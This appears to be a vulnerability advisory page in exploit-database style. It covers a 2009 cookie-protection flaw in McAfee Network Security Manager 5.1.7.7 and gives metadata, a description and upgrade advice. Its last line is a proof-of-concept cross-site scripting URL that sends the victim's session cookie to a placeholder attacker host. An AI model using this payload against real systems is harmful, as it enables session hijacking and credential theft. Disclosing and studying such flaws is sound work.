McAfee Network Security Manager Information Disclosure Vulnerability

vendor:

Network Security Manager

by:

SecurityFocus

7.5

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Network Security Manager

Affected Version From: 5.1.7.7

Affected Version To: 5.1.7.7

Patch Exists: Yes

Related CWE: N/A

CPE: a:mcafee:network_security_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

McAfee Network Security Manager Information Disclosure Vulnerability

McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism. A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.

Mitigation:

Upgrade to the latest version of McAfee Network Security Manager.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37004/info

McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism.

A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.

This issue affects McAfee Network Security Manager 5.1.7.7; other versions may also be affected.


https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57